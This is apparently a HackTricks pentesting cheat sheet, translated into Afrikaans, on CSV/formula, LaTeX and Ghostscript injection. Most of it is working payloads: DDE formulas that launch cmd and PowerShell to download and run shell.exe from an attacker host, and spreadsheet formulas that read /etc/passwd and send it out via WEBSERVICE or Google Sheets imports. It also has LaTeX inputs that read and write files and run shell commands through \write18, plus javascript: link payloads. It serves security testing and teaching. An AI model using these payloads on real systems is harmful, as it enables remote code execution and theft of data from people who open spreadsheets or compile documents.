# Formule/CSV/Doc/LaTeX/GhostScript Insigting
Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Probeer Hard Security Groep**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Formule Insigting ### Inligting As jou **insette** binne **CSV-lĂȘers** (of enige ander lĂȘer wat waarskynlik deur **Excel** geopen gaan word) **weerspieĂ«l** word, kan jy moontlik Excel **formules** plaas wat uitgevoer sal word wanneer die gebruiker die lĂȘer **open** of wanneer die gebruiker op 'n skakel **klik** binne die Excel-blad. {% hint style="danger" %} Tans sal **Excel waarsku** (veral kere) die **gebruiker wanneer iets van buite die Excel gelaai word** om hom te verhoed om kwaadwillige aksies te onderneem. Daarom moet daar spesiale aandag aan sosiale ingenieurswese gegee word vir die finale lading. {% endhint %} ### [Woordelys](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` ### Skakel **Die volgende voorbeeld is baie nuttig om inhoud uit die finale Excel-blad te eksfiltreer en versoek aan willekeurige plekke uit te voer. Dit vereis egter dat die gebruiker op die skakel klik (en die waarskuwings aanvaar).** Die volgende voorbeeld is geneem van [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) Stel jou 'n sekuriteitsversteuring in 'n Studenterekordbestuurstelsel voor wat deur 'n CSV-inspuitingsaanval benut word. Die aanvaller se primĂȘre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentbesonderhede te bestuur, te compromitteer. Die metode behels dat die aanvaller 'n skadelike lading in die aansoek inspuit, spesifiek deur skadelike formules in te voer in velde bedoel vir studentbesonderhede. Die aanval ontvou as volg: 1. **Inspuiting van Skadelike Lading:** * Die aanvaller dien 'n studentbesonderheidsvorm in, maar sluit 'n formule in wat algemeen in spredingskryfers gebruik word (bv., `=HYPERLINK("","Kliek hier")`). * Hierdie formule is ontwerp om 'n skakel te skep, maar dit wys na 'n skadelike bediener wat deur die aanvaller beheer word. 2. **Uitvoer van Gekompromitteerde Data:** * Onderwysers, onbewus van die kompromis, gebruik die aansoek se funksionaliteit om die data na 'n CSV-lĂȘer uit te voer. * Wanneer die CSV-lĂȘer oopgemaak word, bevat dit steeds die skadelike lading. Hierdie lading verskyn as 'n kliekbare skakel in die sprei. 3. **Aanval Ontketen:** * 'n Onderwyser klik op die skakel en glo dit is 'n legitieme deel van die student se besonderhede. * Na kliek word sensitiewe data (moontlik insluitend besonderhede uit die sprei of die onderwyser se rekenaar) na die aanvaller se bediener gestuur. 4. **Data Log:** * Die aanvaller se bediener ontvang en log die sensitiewe data wat van die onderwyser se rekenaar gestuur is. * Die aanvaller kan dan hierdie data gebruik vir verskeie skadelike doeleindes, wat die privaatheid en veiligheid van die studente en die instelling verder kompromitteer. ### RCE **Kyk na die** [**oorspronklike pos**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **vir verdere besonderhede.** In spesifieke opsette of ouer weergawes van Excel kan 'n funksie genaamd Dinamiese Data-uitruil (DDE) benut word om willekeurige bevele uit te voer. Om hiervan gebruik te maak, moet die volgende instellings geaktiveer word: * Navigeer na LĂȘer → Opsies → Vertroue Sentrum → Vertroue Sentrum-instellings → Eksterne Inhoud, en aktiveer **Dinamiese Data-uitruilbedieneraanvang**. Wanneer 'n sprei met die skadelike lading oopgemaak word (en as die gebruiker die waarskuwings aanvaar), word die lading uitgevoer. Byvoorbeeld, om die sakrekenaarprogram te begin, sou die lading wees: ```markdown =cmd|' /C calc'!xxx ``` Addisionele bevele kan ook uitgevoer word, soos die aflaai en uitvoer van 'n lĂȘer met behulp van PowerShell: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### Plaaslike LĂȘer Insluiting (LFI) in LibreOffice Calc LibreOffice Calc kan gebruik word om plaaslike lĂȘers te lees en data uit te voer. Hier is 'n paar metodes: * Die lees van die eerste lyn van die plaaslike `/etc/passwd` lĂȘer: `='file:///etc/passwd'#$passwd.A1` * Uitvoer van die geleesde data na 'n aanvaller-beheerde bediener: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` * Uitvoer van meer as een lyn: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` * DNS uitvoer (stuur geleesde data as DNS navrae na 'n aanvaller-beheerde DNS bediener): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` ### Google Sheets vir Out-of-Band (OOB) Data Uitvoer Google Sheets bied funksies wat uitgebuit kan word vir OOB data uitvoer: * **CONCATENATE**: Voeg strings saam - `=CONCATENATE(A2:E2)` * **IMPORTXML**: Importeer data van gestruktureerde datatipes - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` * **IMPORTFEED**: Importeer RSS of ATOM voer - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` * **IMPORTHTML**: Importeer data van HTML tabelle of lyste - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` * **IMPORTRANGE**: Importeer 'n reeks selles van 'n ander sigblad - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` * **IMAGE**: Voeg 'n prent in 'n sel - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Inspruiting Gewoonlik gebruik die bedieners wat jy op die internet vind wat **LaTeX-kode na PDF omskakel** die **`pdflatex`**.\ Hierdie program gebruik 3 hoof eienskappe om opdrag uit te voer of te verhoed: * **`--no-shell-escape`**: **Deaktiveer** die `\write18{opdrag}` konstruksie, selfs as dit in die texmf.cnf lĂȘer geaktiveer is. * **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **voorgedefinieerde** \*\*opdragte (\*\*Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`). * **`--shell-escape`**: **Aktiveer** die `\write18{opdrag}` konstruksie. Die opdrag kan enige skel opdrag wees. Hierdie konstruksie word normaalweg verhoed vir veiligheidsredes. Daar is egter ander maniere om opdragte uit te voer, dus om RCE te vermy is dit baie belangrik om `--shell-restricted` te gebruik. ### Lees lĂȘer Jy mag nodig wees om inspuiting aan te pas met omhulsels soos \[ of $. ```bash \input{/etc/passwd} \include{password} # load .tex file \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` #### Lees enkellynige lĂȘer ```bash \newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file ``` #### Lees 'n lĂȘer met meerdere lyne ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file ``` ### Skryf lĂȘer ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile ``` ### Opdrag uitvoering Die inset van die opdrag sal na stdin omgelei word, gebruik 'n tydelike lĂȘer om dit te kry. ```bash \immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} # allowed mpost command RCE \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} # If mpost is not allowed there are other commands you might be able to execute ## Just get the version \input{|"bibtex8 --version > /tmp/b.tex"} ## Search the file pdfetex.ini \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} ## Get env var value \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` ### Ghostscript Injection in CSV to LaTeX Conversion #### Description: In this attack, the hacker injects malicious PostScript code into a CSV file that is later converted to a LaTeX document. When the LaTeX document is compiled using Ghostscript, the injected PostScript code gets executed, allowing the hacker to potentially take control of the system. #### Attack Scenario: 1. The hacker crafts a CSV file containing the malicious PostScript code. 2. The CSV file is converted to a LaTeX document using a tool or script. 3. The LaTeX document is compiled using Ghostscript. 4. The injected PostScript code is executed within the Ghostscript environment. 5. The hacker gains unauthorized access or performs other malicious activities on the system. #### Mitigation: - **Input Validation:** Validate and sanitize user input to prevent malicious code injection. - **Restricted Permissions:** Limit the permissions of the tool converting CSV to LaTeX. - **Update Software:** Keep all software and libraries up to date to patch any known vulnerabilities. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` ```bash \input|ls|base4 \input{|"/bin/hostname"} ``` ### Kruiswebinskrywing Van [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Ghostscript Injeksie **Kyk** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) ## Verwysings * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) **Probeer Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.